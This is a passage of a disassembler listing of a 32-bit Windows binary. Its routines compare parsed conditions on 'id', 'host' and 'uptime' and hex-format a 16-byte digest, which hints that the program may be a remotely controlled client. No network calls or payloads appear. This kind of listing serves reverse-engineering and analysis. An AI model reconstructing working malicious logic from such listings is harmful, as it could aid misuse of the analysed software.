arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D1C ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D18 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D14 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D10 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		call	near ptr 27E0B37h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
